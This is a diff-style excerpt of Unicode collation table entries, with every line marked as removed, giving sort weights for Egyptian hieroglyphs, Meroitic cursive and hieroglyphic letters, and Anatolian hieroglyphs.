-133C1 ; [.503D.0020.0002] # EGYPTIAN HIEROGLYPH W015
-133C2 ; [.503E.0020.0002] # EGYPTIAN HIEROGLYPH W016
-133C3 ; [.503F.0020.0002] # EGYPTIAN HIEROGLYPH W017
-133C4 ; [.5040.0020.0002] # EGYPTIAN HIEROGLYPH W017A
-133C5 ; [.5041.0020.0002] # EGYPTIAN HIEROGLYPH W018
-133C6 ; [.5042.0020.0002] # EGYPTIAN HIEROGLYPH W018A
-133C7 ; [.5043.0020.0002] # EGYPTIAN HIEROGLYPH W019
-133C8 ; [.5044.0020.0002] # EGYPTIAN HIEROGLYPH W020
-133C9 ; [.5045.0020.0002] # EGYPTIAN HIEROGLYPH W021
-133CA ; [.5046.0020.0002] # EGYPTIAN HIEROGLYPH W022
-133CB ; [.5047.0020.0002] # EGYPTIAN HIEROGLYPH W023
-133CC ; [.5048.0020.0002] # EGYPTIAN HIEROGLYPH W024
-133CD ; [.5049.0020.0002] # EGYPTIAN HIEROGLYPH W024A
-133CE ; [.504A.0020.0002] # EGYPTIAN HIEROGLYPH W025
-133CF ; [.504B.0020.0002] # EGYPTIAN HIEROGLYPH X001
-133D0 ; [.504C.0020.0002] # EGYPTIAN HIEROGLYPH X002
-133D1 ; [.504D.0020.0002] # EGYPTIAN HIEROGLYPH X003
-133D2 ; [.504E.0020.0002] # EGYPTIAN HIEROGLYPH X004
-133D3 ; [.504F.0020.0002] # EGYPTIAN HIEROGLYPH X004A
-133D4 ; [.5050.0020.0002] # EGYPTIAN HIEROGLYPH X004B
-133D5 ; [.5051.0020.0002] # EGYPTIAN HIEROGLYPH X005
-133D6 ; [.5052.0020.0002] # EGYPTIAN HIEROGLYPH X006
-133D7 ; [.5053.0020.0002] # EGYPTIAN HIEROGLYPH X006A
-133D8 ; [.5054.0020.0002] # EGYPTIAN HIEROGLYPH X007
-133D9 ; [.5055.0020.0002] # EGYPTIAN HIEROGLYPH X008
-133DA ; [.5056.0020.0002] # EGYPTIAN HIEROGLYPH X008A
-133DB ; [.5057.0020.0002] # EGYPTIAN HIEROGLYPH Y001
-133DC ; [.5058.0020.0002] # EGYPTIAN HIEROGLYPH Y001A
-133DD ; [.5059.0020.0002] # EGYPTIAN HIEROGLYPH Y002
-133DE ; [.505A.0020.0002] # EGYPTIAN HIEROGLYPH Y003
-133DF ; [.505B.0020.0002] # EGYPTIAN HIEROGLYPH Y004
-133E0 ; [.505C.0020.0002] # EGYPTIAN HIEROGLYPH Y005
-133E1 ; [.505D.0020.0002] # EGYPTIAN HIEROGLYPH Y006
-133E2 ; [.505E.0020.0002] # EGYPTIAN HIEROGLYPH Y007
-133E3 ; [.505F.0020.0002] # EGYPTIAN HIEROGLYPH Y008
-133E4 ; [.5060.0020.0002] # EGYPTIAN HIEROGLYPH Z001
-133E5 ; [.5061.0020.0002] # EGYPTIAN HIEROGLYPH Z002
-133E6 ; [.5062.0020.0002] # EGYPTIAN HIEROGLYPH Z002A
-133E7 ; [.5063.0020.0002] # EGYPTIAN HIEROGLYPH Z002B
-133E8 ; [.5064.0020.0002] # EGYPTIAN HIEROGLYPH Z002C
-133E9 ; [.5065.0020.0002] # EGYPTIAN HIEROGLYPH Z002D
-133EA ; [.5066.0020.0002] # EGYPTIAN HIEROGLYPH Z003
-133EB ; [.5067.0020.0002] # EGYPTIAN HIEROGLYPH Z003A
-133EC ; [.5068.0020.0002] # EGYPTIAN HIEROGLYPH Z003B
-133ED ; [.5069.0020.0002] # EGYPTIAN HIEROGLYPH Z004
-133EE ; [.506A.0020.0002] # EGYPTIAN HIEROGLYPH Z004A
-133EF ; [.506B.0020.0002] # EGYPTIAN HIEROGLYPH Z005
-133F0 ; [.506C.0020.0002] # EGYPTIAN HIEROGLYPH Z005A
-133F1 ; [.506D.0020.0002] # EGYPTIAN HIEROGLYPH Z006
-133F2 ; [.506E.0020.0002] # EGYPTIAN HIEROGLYPH Z007
-133F3 ; [.506F.0020.0002] # EGYPTIAN HIEROGLYPH Z008
-133F4 ; [.5070.0020.0002] # EGYPTIAN HIEROGLYPH Z009
-133F5 ; [.5071.0020.0002] # EGYPTIAN HIEROGLYPH Z010
-133F6 ; [.5072.0020.0002] # EGYPTIAN HIEROGLYPH Z011
-133F7 ; [.5073.0020.0002] # EGYPTIAN HIEROGLYPH Z012
-133F8 ; [.5074.0020.0002] # EGYPTIAN HIEROGLYPH Z013
-133F9 ; [.5075.0020.0002] # EGYPTIAN HIEROGLYPH Z014
-133FA ; [.5076.0020.0002] # EGYPTIAN HIEROGLYPH Z015
-133FB ; [.5077.0020.0002] # EGYPTIAN HIEROGLYPH Z015A
-133FC ; [.5078.0020.0002] # EGYPTIAN HIEROGLYPH Z015B
-133FD ; [.5079.0020.0002] # EGYPTIAN HIEROGLYPH Z015C
-133FE ; [.507A.0020.0002] # EGYPTIAN HIEROGLYPH Z015D
-133FF ; [.507B.0020.0002] # EGYPTIAN HIEROGLYPH Z015E
-13400 ; [.507C.0020.0002] # EGYPTIAN HIEROGLYPH Z015F
-13401 ; [.507D.0020.0002] # EGYPTIAN HIEROGLYPH Z015G
-13402 ; [.507E.0020.0002] # EGYPTIAN HIEROGLYPH Z015H
-13403 ; [.507F.0020.0002] # EGYPTIAN HIEROGLYPH Z015I
-13404 ; [.5080.0020.0002] # EGYPTIAN HIEROGLYPH Z016
-13405 ; [.5081.0020.0002] # EGYPTIAN HIEROGLYPH Z016A
-13406 ; [.5082.0020.0002] # EGYPTIAN HIEROGLYPH Z016B
-13407 ; [.5083.0020.0002] # EGYPTIAN HIEROGLYPH Z016C
-13408 ; [.5084.0020.0002] # EGYPTIAN HIEROGLYPH Z016D
-13409 ; [.5085.0020.0002] # EGYPTIAN HIEROGLYPH Z016E
-1340A ; [.5086.0020.0002] # EGYPTIAN HIEROGLYPH Z016F
-1340B ; [.5087.0020.0002] # EGYPTIAN HIEROGLYPH Z016G
-1340C ; [.5088.0020.0002] # EGYPTIAN HIEROGLYPH Z016H
-1340D ; [.5089.0020.0002] # EGYPTIAN HIEROGLYPH AA001
-1340E ; [.508A.0020.0002] # EGYPTIAN HIEROGLYPH AA002
-1340F ; [.508B.0020.0002] # EGYPTIAN HIEROGLYPH AA003
-13410 ; [.508C.0020.0002] # EGYPTIAN HIEROGLYPH AA004
-13411 ; [.508D.0020.0002] # EGYPTIAN HIEROGLYPH AA005
-13412 ; [.508E.0020.0002] # EGYPTIAN HIEROGLYPH AA006
-13413 ; [.508F.0020.0002] # EGYPTIAN HIEROGLYPH AA007
-13414 ; [.5090.0020.0002] # EGYPTIAN HIEROGLYPH AA007A
-13415 ; [.5091.0020.0002] # EGYPTIAN HIEROGLYPH AA007B
-13416 ; [.5092.0020.0002] # EGYPTIAN HIEROGLYPH AA008
-13417 ; [.5093.0020.0002] # EGYPTIAN HIEROGLYPH AA009
-13418 ; [.5094.0020.0002] # EGYPTIAN HIEROGLYPH AA010
-13419 ; [.5095.0020.0002] # EGYPTIAN HIEROGLYPH AA011
-1341A ; [.5096.0020.0002] # EGYPTIAN HIEROGLYPH AA012
-1341B ; [.5097.0020.0002] # EGYPTIAN HIEROGLYPH AA013
-1341C ; [.5098.0020.0002] # EGYPTIAN HIEROGLYPH AA014
-1341D ; [.5099.0020.0002] # EGYPTIAN HIEROGLYPH AA015
-1341E ; [.509A.0020.0002] # EGYPTIAN HIEROGLYPH AA016
-1341F ; [.509B.0020.0002] # EGYPTIAN HIEROGLYPH AA017
-13420 ; [.509C.0020.0002] # EGYPTIAN HIEROGLYPH AA018
-13421 ; [.509D.0020.0002] # EGYPTIAN HIEROGLYPH AA019
-13422 ; [.509E.0020.0002] # EGYPTIAN HIEROGLYPH AA020
-13423 ; [.509F.0020.0002] # EGYPTIAN HIEROGLYPH AA021
-13424 ; [.50A0.0020.0002] # EGYPTIAN HIEROGLYPH AA022
-13425 ; [.50A1.0020.0002] # EGYPTIAN HIEROGLYPH AA023
-13426 ; [.50A2.0020.0002] # EGYPTIAN HIEROGLYPH AA024
-13427 ; [.50A3.0020.0002] # EGYPTIAN HIEROGLYPH AA025
-13428 ; [.50A4.0020.0002] # EGYPTIAN HIEROGLYPH AA026
-13429 ; [.50A5.0020.0002] # EGYPTIAN HIEROGLYPH AA027
-1342A ; [.50A6.0020.0002] # EGYPTIAN HIEROGLYPH AA028
-1342B ; [.50A7.0020.0002] # EGYPTIAN HIEROGLYPH AA029
-1342C ; [.50A8.0020.0002] # EGYPTIAN HIEROGLYPH AA030
-1342D ; [.50A9.0020.0002] # EGYPTIAN HIEROGLYPH AA031
-1342E ; [.50AA.0020.0002] # EGYPTIAN HIEROGLYPH AA032
-109A0 ; [.50AB.0020.0002] # MEROITIC CURSIVE LETTER A
-10980 ; [.50AB.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER A
-109A1 ; [.50AC.0020.0002] # MEROITIC CURSIVE LETTER E
-10981 ; [.50AC.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER E
-109A2 ; [.50AD.0020.0002] # MEROITIC CURSIVE LETTER I
-10982 ; [.50AD.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER I
-109A3 ; [.50AE.0020.0002] # MEROITIC CURSIVE LETTER O
-10983 ; [.50AE.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER O
-109A4 ; [.50AF.0020.0002] # MEROITIC CURSIVE LETTER YA
-10984 ; [.50AF.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER YA
-109A5 ; [.50B0.0020.0002] # MEROITIC CURSIVE LETTER WA
-10985 ; [.50B0.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER WA
-109A6 ; [.50B1.0020.0002] # MEROITIC CURSIVE LETTER BA
-10986 ; [.50B1.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER BA
-10987 ; [.50B1.0020.0004][.0000.010C.0004] # MEROITIC HIEROGLYPHIC LETTER BA-2
-109A7 ; [.50B2.0020.0002] # MEROITIC CURSIVE LETTER PA
-10988 ; [.50B2.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER PA
-109A8 ; [.50B3.0020.0002] # MEROITIC CURSIVE LETTER MA
-10989 ; [.50B3.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER MA
-109A9 ; [.50B4.0020.0002] # MEROITIC CURSIVE LETTER NA
-1098A ; [.50B4.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER NA
-1098B ; [.50B4.0020.0004][.0000.010C.0004] # MEROITIC HIEROGLYPHIC LETTER NA-2
-109AA ; [.50B5.0020.0002] # MEROITIC CURSIVE LETTER NE
-1098C ; [.50B5.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER NE
-1098D ; [.50B5.0020.0004][.0000.010C.0004] # MEROITIC HIEROGLYPHIC LETTER NE-2
-109AB ; [.50B6.0020.0002] # MEROITIC CURSIVE LETTER RA
-1098E ; [.50B6.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER RA
-1098F ; [.50B6.0020.0004][.0000.010C.0004] # MEROITIC HIEROGLYPHIC LETTER RA-2
-109AC ; [.50B7.0020.0002] # MEROITIC CURSIVE LETTER LA
-10990 ; [.50B7.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER LA
-109AD ; [.50B8.0020.0002] # MEROITIC CURSIVE LETTER KHA
-10991 ; [.50B8.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER KHA
-109AE ; [.50B9.0020.0002] # MEROITIC CURSIVE LETTER HHA
-10992 ; [.50B9.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER HHA
-109AF ; [.50BA.0020.0002] # MEROITIC CURSIVE LETTER SA
-109B0 ; [.50BA.0020.0004][.0000.010B.0004] # MEROITIC CURSIVE LETTER ARCHAIC SA
-10993 ; [.50BA.0020.0004][.0000.010C.0004] # MEROITIC HIEROGLYPHIC LETTER SA
-10994 ; [.50BA.0020.0004][.0000.010D.0004] # MEROITIC HIEROGLYPHIC LETTER SA-2
-109B1 ; [.50BB.0020.0002] # MEROITIC CURSIVE LETTER SE
-10995 ; [.50BB.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER SE
-109B2 ; [.50BC.0020.0002] # MEROITIC CURSIVE LETTER KA
-10996 ; [.50BC.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER KA
-109B3 ; [.50BD.0020.0002] # MEROITIC CURSIVE LETTER QA
-10997 ; [.50BD.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER QA
-109B4 ; [.50BE.0020.0002] # MEROITIC CURSIVE LETTER TA
-10998 ; [.50BE.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER TA
-10999 ; [.50BE.0020.0004][.0000.010C.0004] # MEROITIC HIEROGLYPHIC LETTER TA-2
-109B5 ; [.50BF.0020.0002] # MEROITIC CURSIVE LETTER TE
-1099A ; [.50BF.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER TE
-1099B ; [.50BF.0020.0004][.0000.010C.0004] # MEROITIC HIEROGLYPHIC LETTER TE-2
-109B6 ; [.50C0.0020.0002] # MEROITIC CURSIVE LETTER TO
-1099C ; [.50C0.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER TO
-109B7 ; [.50C1.0020.0002] # MEROITIC CURSIVE LETTER DA
-1099D ; [.50C1.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER DA
-109BE ; [.50C2.0020.0002] # MEROITIC CURSIVE LOGOGRAM RMT
-109BF ; [.50C3.0020.0002] # MEROITIC CURSIVE LOGOGRAM IMN
-1099E ; [.50C4.0020.0002] # MEROITIC HIEROGLYPHIC SYMBOL VIDJ
-1099F ; [.50C5.0020.0002] # MEROITIC HIEROGLYPHIC SYMBOL VIDJ-2
-14400 ; [.50C6.0020.0002] # ANATOLIAN HIEROGLYPH A001
-14401 ; [.50C7.0020.0002] # ANATOLIAN HIEROGLYPH A002
-14402 ; [.50C8.0020.0002] # ANATOLIAN HIEROGLYPH A003
-14403 ; [.50C9.0020.0002] # ANATOLIAN HIEROGLYPH A004
-14404 ; [.50CA.0020.0002] # ANATOLIAN HIEROGLYPH A005
-14405 ; [.50CB.0020.0002] # ANATOLIAN HIEROGLYPH A006
-14406 ; [.50CC.0020.0002] # ANATOLIAN HIEROGLYPH A007
-14407 ; [.50CD.0020.0002] # ANATOLIAN HIEROGLYPH A008
-14408 ; [.50CE.0020.0002] # ANATOLIAN HIEROGLYPH A009
-14409 ; [.50CF.0020.0002] # ANATOLIAN HIEROGLYPH A010
-1440A ; [.50D0.0020.0002] # ANATOLIAN HIEROGLYPH A010A
-1440B ; [.50D1.0020.0002] # ANATOLIAN HIEROGLYPH A011
-1440C ; [.50D2.0020.0002] # ANATOLIAN HIEROGLYPH A012
-1440D ; [.50D3.0020.0002] # ANATOLIAN HIEROGLYPH A013
-1440E ; [.50D4.0020.0002] # ANATOLIAN HIEROGLYPH A014
-1440F ; [.50D5.0020.0002] # ANATOLIAN HIEROGLYPH A015
-14410 ; [.50D6.0020.0002] # ANATOLIAN HIEROGLYPH A016
-14411 ; [.50D7.0020.0002] # ANATOLIAN HIEROGLYPH A017
-14412 ; [.50D8.0020.0002] # ANATOLIAN HIEROGLYPH A018
-14413 ; [.50D9.0020.0002] # ANATOLIAN HIEROGLYPH A019
-14414 ; [.50DA.0020.0002] # ANATOLIAN HIEROGLYPH A020
-14415 ; [.50DB.0020.0002] # ANATOLIAN HIEROGLYPH A021
-14416 ; [.50DC.0020.0002] # ANATOLIAN HIEROGLYPH A022
-14417 ; [.50DD.0020.0002] # ANATOLIAN HIEROGLYPH A023
-14418 ; [.50DE.0020.0002] # ANATOLIAN HIEROGLYPH A024
-14419 ; [.50DF.0020.0002] # ANATOLIAN HIEROGLYPH A025
-1441A ; [.50E0.0020.0002] # ANATOLIAN HIEROGLYPH A026
-1441B ; [.50E1.0020.0002] # ANATOLIAN HIEROGLYPH A026A
-1441C ; [.50E2.0020.0002] # ANATOLIAN HIEROGLYPH A027
-1441D ; [.50E3.0020.0002] # ANATOLIAN HIEROGLYPH A028
-1441E ; [.50E4.0020.0002] # ANATOLIAN HIEROGLYPH A029
-1441F ; [.50E5.0020.0002] # ANATOLIAN HIEROGLYPH A030
-14420 ; [.50E6.0020.0002] # ANATOLIAN HIEROGLYPH A031
-14421 ; [.50E7.0020.0002] # ANATOLIAN HIEROGLYPH A032
-14422 ; [.50E8.0020.0002] # ANATOLIAN HIEROGLYPH A033
-14423 ; [.50E9.0020.0002] # ANATOLIAN HIEROGLYPH A034
-14424 ; [.50EA.0020.0002] # ANATOLIAN HIEROGLYPH A035
-14425 ; [.50EB.0020.0002] # ANATOLIAN HIEROGLYPH A036
-14426 ; [.50EC.0020.0002] # ANATOLIAN HIEROGLYPH A037
-14427 ; [.50ED.0020.0002] # ANATOLIAN HIEROGLYPH A038
-14428 ; [.50EE.0020.0002] # ANATOLIAN HIEROGLYPH A039
-14429 ; [.50EF.0020.0002] # ANATOLIAN HIEROGLYPH A039A
-1442A ; [.50F0.0020.0002] # ANATOLIAN HIEROGLYPH A040
-1442B ; [.50F1.0020.0002] # ANATOLIAN HIEROGLYPH A041
-1442C ; [.50F2.0020.0002] # ANATOLIAN HIEROGLYPH A041A
-1442D ; [.50F3.0020.0002] # ANATOLIAN HIEROGLYPH A042
-1442E ; [.50F4.0020.0002] # ANATOLIAN HIEROGLYPH A043
-1442F ; [.50F5.0020.0002] # ANATOLIAN HIEROGLYPH A044
-14430 ; [.50F6.0020.0002] # ANATOLIAN HIEROGLYPH A045
-14431 ; [.50F7.0020.0002] # ANATOLIAN HIEROGLYPH A045A
-14432 ; [.50F8.0020.0002] # ANATOLIAN HIEROGLYPH A046
-14433 ; [.50F9.0020.0002] # ANATOLIAN HIEROGLYPH A046A
-14434 ; [.50FA.0020.0002] # ANATOLIAN HIEROGLYPH A046B
-14435 ; [.50FB.0020.0002] # ANATOLIAN HIEROGLYPH A047
-14436 ; [.50FC.0020.0002] # ANATOLIAN HIEROGLYPH A048
-14437 ; [.50FD.0020.0002] # ANATOLIAN HIEROGLYPH A049
-14438 ; [.50FE.0020.0002] # ANATOLIAN HIEROGLYPH A050
-14439 ; [.50FF.0020.0002] # ANATOLIAN HIEROGLYPH A051
-1443A ; [.5100.0020.0002] # ANATOLIAN HIEROGLYPH A052
-1443B ; [.5101.0020.0002] # ANATOLIAN HIEROGLYPH A053
-1443C ; [.5102.0020.0002] # ANATOLIAN HIEROGLYPH A054
-1443D ; [.5103.0020.0002] # ANATOLIAN HIEROGLYPH A055
-1443E ; [.5104.0020.0002] # ANATOLIAN HIEROGLYPH A056
-1443F ; [.5105.0020.0002] # ANATOLIAN HIEROGLYPH A057
-14440 ; [.5106.0020.0002] # ANATOLIAN HIEROGLYPH A058
-14441 ; [.5107.0020.0002] # ANATOLIAN HIEROGLYPH A059
-14442 ; [.5108.0020.0002] # ANATOLIAN HIEROGLYPH A060
-14443 ; [.5109.0020.0002] # ANATOLIAN HIEROGLYPH A061
-14444 ; [.510A.0020.0002] # ANATOLIAN HIEROGLYPH A062
-14445 ; [.510B.0020.0002] # ANATOLIAN HIEROGLYPH A063
-14446 ; [.510C.0020.0002] # ANATOLIAN HIEROGLYPH A064
-14447 ; [.510D.0020.0002] # ANATOLIAN HIEROGLYPH A065
-14448 ; [.510E.0020.0002] # ANATOLIAN HIEROGLYPH A066
-14449 ; [.510F.0020.0002] # ANATOLIAN HIEROGLYPH A066A
-1444A ; [.5110.0020.0002] # ANATOLIAN HIEROGLYPH A066B
-1444B ; [.5111.0020.0002] # ANATOLIAN HIEROGLYPH A066C
-1444C ; [.5112.0020.0002] # ANATOLIAN HIEROGLYPH A067
-1444D ; [.5113.0020.0002] # ANATOLIAN HIEROGLYPH A068
-1444E ; [.5114.0020.0002] # ANATOLIAN HIEROGLYPH A069
-1444F ; [.5115.0020.0002] # ANATOLIAN HIEROGLYPH A070
-14450 ; [.5116.0020.0002] # ANATOLIAN HIEROGLYPH A071
-14451 ; [.5117.0020.0002] # ANATOLIAN HIEROGLYPH A072
-14452 ; [.5118.0020.0002] # ANATOLIAN HIEROGLYPH A073
-14453 ; [.5119.0020.0002] # ANATOLIAN HIEROGLYPH A074
-14454 ; [.511A.0020.0002] # ANATOLIAN HIEROGLYPH A075
-14455 ; [.511B.0020.0002] # ANATOLIAN HIEROGLYPH A076
-14456 ; [.511C.0020.0002] # ANATOLIAN HIEROGLYPH A077
-14457 ; [.511D.0020.0002] # ANATOLIAN HIEROGLYPH A078
-14458 ; [.511E.0020.0002] # ANATOLIAN HIEROGLYPH A079
-14459 ; [.511F.0020.0002] # ANATOLIAN HIEROGLYPH A080
-1445A ; [.5120.0020.0002] # ANATOLIAN HIEROGLYPH A081
-1445B ; [.5121.0020.0002] # ANATOLIAN HIEROGLYPH A082
-1445C ; [.5122.0020.0002] # ANATOLIAN HIEROGLYPH A083
-1445D ; [.5123.0020.0002] # ANATOLIAN HIEROGLYPH A084
-1445E ; [.5124.0020.0002] # ANATOLIAN HIEROGLYPH A085
-1445F ; [.5125.0020.0002] # ANATOLIAN HIEROGLYPH A086
-14460 ; [.5126.0020.0002] # ANATOLIAN HIEROGLYPH A087
-14461 ; [.5127.0020.0002] # ANATOLIAN HIEROGLYPH A088
-14462 ; [.5128.0020.0002] # ANATOLIAN HIEROGLYPH A089
-14463 ; [.5129.0020.0002] # ANATOLIAN HIEROGLYPH A090
-14464 ; [.512A.0020.0002] # ANATOLIAN HIEROGLYPH A091
-14465 ; [.512B.0020.0002] # ANATOLIAN HIEROGLYPH A092
-14466 ; [.512C.0020.0002] # ANATOLIAN HIEROGLYPH A093
-14467 ; [.512D.0020.0002] # ANATOLIAN HIEROGLYPH A094
-14468 ; [.512E.0020.0002] # ANATOLIAN HIEROGLYPH A095
-14469 ; [.512F.0020.0002] # ANATOLIAN HIEROGLYPH A096
-1446A ; [.5130.0020.0002] # ANATOLIAN HIEROGLYPH A097
-1446B ; [.5131.0020.0002] # ANATOLIAN HIEROGLYPH A097A
-1446C ; [.5132.0020.0002] # ANATOLIAN HIEROGLYPH A098
-1446D ; [.5133.0020.0002] # ANATOLIAN HIEROGLYPH A098A
-1446E ; [.5134.0020.0002] # ANATOLIAN HIEROGLYPH A099
-1446F ; [.5135.0020.0002] # ANATOLIAN HIEROGLYPH A100
-14470 ; [.5136.0020.0002] # ANATOLIAN HIEROGLYPH A100A
-14471 ; [.5137.0020.0002] # ANATOLIAN HIEROGLYPH A101
-14472 ; [.5138.0020.0002] # ANATOLIAN HIEROGLYPH A101A
-14473 ; [.5139.0020.0002] # ANATOLIAN HIEROGLYPH A102
-14474 ; [.513A.0020.0002] # ANATOLIAN HIEROGLYPH A102A
-14475 ; [.513B.0020.0002] # ANATOLIAN HIEROGLYPH A103
-14476 ; [.513C.0020.0002] # ANATOLIAN HIEROGLYPH A104
-14477 ; [.513D.0020.0002] # ANATOLIAN HIEROGLYPH A104A
-14478 ; [.513E.0020.0002] # ANATOLIAN HIEROGLYPH A104B
-14479 ; [.513F.0020.0002] # ANATOLIAN HIEROGLYPH A104C
-1447A ; [.5140.0020.0002] # ANATOLIAN HIEROGLYPH A105
-1447B ; [.5141.0020.0002] # ANATOLIAN HIEROGLYPH A105A
-1447C ; [.5142.0020.0002] # ANATOLIAN HIEROGLYPH A105B
-1447D ; [.5143.0020.0002] # ANATOLIAN HIEROGLYPH A106
-1447E ; [.5144.0020.0002] # ANATOLIAN HIEROGLYPH A107
-1447F ; [.5145.0020.0002] # ANATOLIAN HIEROGLYPH A107A
-14480 ; [.5146.0020.0002] # ANATOLIAN HIEROGLYPH A107B
-14481 ; [.5147.0020.0002] # ANATOLIAN HIEROGLYPH A107C
-14482 ; [.5148.0020.0002] # ANATOLIAN HIEROGLYPH A108
-14483 ; [.5149.0020.0002] # ANATOLIAN HIEROGLYPH A109
-14484 ; [.514A.0020.0002] # ANATOLIAN HIEROGLYPH A110
-14485 ; [.514B.0020.0002] # ANATOLIAN HIEROGLYPH A110A
-14486 ; [.514C.0020.0002] # ANATOLIAN HIEROGLYPH A110B
-14487 ; [.514D.0020.0002] # ANATOLIAN HIEROGLYPH A111
-14488 ; [.514E.0020.0002] # ANATOLIAN HIEROGLYPH A112
-14489 ; [.514F.0020.0002] # ANATOLIAN HIEROGLYPH A113
-1448A ; [.5150.0020.0002] # ANATOLIAN HIEROGLYPH A114
-1448B ; [.5151.0020.0002] # ANATOLIAN HIEROGLYPH A115
-1448C ; [.5152.0020.0002] # ANATOLIAN HIEROGLYPH A115A
-1448D ; [.5153.0020.0002] # ANATOLIAN HIEROGLYPH A116
-1448E ; [.5154.0020.0002] # ANATOLIAN HIEROGLYPH A117
-1448F ; [.5155.0020.0002] # ANATOLIAN HIEROGLYPH A118
-14490 ; [.5156.0020.0002] # ANATOLIAN HIEROGLYPH A119
-14491 ; [.5157.0020.0002] # ANATOLIAN HIEROGLYPH A120
-14492 ; [.5158.0020.0002] # ANATOLIAN HIEROGLYPH A121
-14493 ; [.5159.0020.0002] # ANATOLIAN HIEROGLYPH A122
-14494 ; [.515A.0020.0002] # ANATOLIAN HIEROGLYPH A123
-14495 ; [.515B.0020.0002] # ANATOLIAN HIEROGLYPH A124
-14496 ; [.515C.0020.0002] # ANATOLIAN HIEROGLYPH A125
-14497 ; [.515D.0020.0002] # ANATOLIAN HIEROGLYPH A125A
-14498 ; [.515E.0020.0002] # ANATOLIAN HIEROGLYPH A126
-14499 ; [.515F.0020.0002] # ANATOLIAN HIEROGLYPH A127
-1449A ; [.5160.0020.0002] # ANATOLIAN HIEROGLYPH A128
-1449B ; [.5161.0020.0002] # ANATOLIAN HIEROGLYPH A129
-1449C ; [.5162.0020.0002] # ANATOLIAN HIEROGLYPH A130
-1449D ; [.5163.0020.0002] # ANATOLIAN HIEROGLYPH A131
-1449E ; [.5164.0020.0002] # ANATOLIAN HIEROGLYPH A132
-1449F ; [.5165.0020.0002] # ANATOLIAN HIEROGLYPH A133
-144A0 ; [.5166.0020.0002] # ANATOLIAN HIEROGLYPH A134
-144A1 ; [.5167.0020.0002] # ANATOLIAN HIEROGLYPH A135
-144A2 ; [.5168.0020.0002] # ANATOLIAN HIEROGLYPH A135A
-144A3 ; [.5169.0020.0002] # ANATOLIAN HIEROGLYPH A136
-144A4 ; [.516A.0020.0002] # ANATOLIAN HIEROGLYPH A137
-144A5 ; [.516B.0020.0002] # ANATOLIAN HIEROGLYPH A138
-144A6 ; [.516C.0020.0002] # ANATOLIAN HIEROGLYPH A139
-144A7 ; [.516D.0020.0002] # ANATOLIAN HIEROGLYPH A140
-144A8 ; [.516E.0020.0002] # ANATOLIAN HIEROGLYPH A141
-144A9 ; [.516F.0020.0002] # ANATOLIAN HIEROGLYPH A142
-144AA ; [.5170.0020.0002] # ANATOLIAN HIEROGLYPH A143
-144AB ; [.5171.0020.0002] # ANATOLIAN HIEROGLYPH A144
-144AC ; [.5172.0020.0002] # ANATOLIAN HIEROGLYPH A145
-144AD ; [.5173.0020.0002] # ANATOLIAN HIEROGLYPH A146
-144AE ; [.5174.0020.0002] # ANATOLIAN HIEROGLYPH A147
-144AF ; [.5175.0020.0002] # ANATOLIAN HIEROGLYPH A148
-144B0 ; [.5176.0020.0002] # ANATOLIAN HIEROGLYPH A149
-144B1 ; [.5177.0020.0002] # ANATOLIAN HIEROGLYPH A150
-144B2 ; [.5178.0020.0002] # ANATOLIAN HIEROGLYPH A151
-144B3 ; [.5179.0020.0002] # ANATOLIAN HIEROGLYPH A152
-144B4 ; [.517A.0020.0002] # ANATOLIAN HIEROGLYPH A153
-144B5 ; [.517B.0020.0002] # ANATOLIAN HIEROGLYPH A154
-144B6 ; [.517C.0020.0002] # ANATOLIAN HIEROGLYPH A155
-144B7 ; [.517D.0020.0002] # ANATOLIAN HIEROGLYPH A156
-144B8 ; [.517E.0020.0002] # ANATOLIAN HIEROGLYPH A157
-144B9 ; [.517F.0020.0002] # ANATOLIAN HIEROGLYPH A158
-144BA ; [.5180.0020.0002] # ANATOLIAN HIEROGLYPH A159
-144BB ; [.5181.0020.0002] # ANATOLIAN HIEROGLYPH A160
-144BC ; [.5182.0020.0002] # ANATOLIAN HIEROGLYPH A161
-144BD ; [.5183.0020.0002] # ANATOLIAN HIEROGLYPH A162
-144BE ; [.5184.0020.0002] # ANATOLIAN HIEROGLYPH A163
-144BF ; [.5185.0020.0002] # ANATOLIAN HIEROGLYPH A164
-144C0 ; [.5186.0020.0002] # ANATOLIAN HIEROGLYPH A165
-144C1 ; [.5187.0020.0002] # ANATOLIAN HIEROGLYPH A166
-144C2 ; [.5188.0020.0002] # ANATOLIAN HIEROGLYPH A167
-144C3 ; [.5189.0020.0002] # ANATOLIAN HIEROGLYPH A168
-144C4 ; [.518A.0020.0002] # ANATOLIAN HIEROGLYPH A169
-144C5 ; [.518B.0020.0002] # ANATOLIAN HIEROGLYPH A170
-144C6 ; [.518C.0020.0002] # ANATOLIAN HIEROGLYPH A171
-144C7 ; [.518D.0020.0002] # ANATOLIAN HIEROGLYPH A172
-144C8 ; [.518E.0020.0002] # ANATOLIAN HIEROGLYPH A173
-144C9 ; [.518F.0020.0002] # ANATOLIAN HIEROGLYPH A174
-144CA ; [.5190.0020.0002] # ANATOLIAN HIEROGLYPH A175
-144CB ; [.5191.0020.0002] # ANATOLIAN HIEROGLYPH A176
-144CC ; [.5192.0020.0002] # ANATOLIAN HIEROGLYPH A177
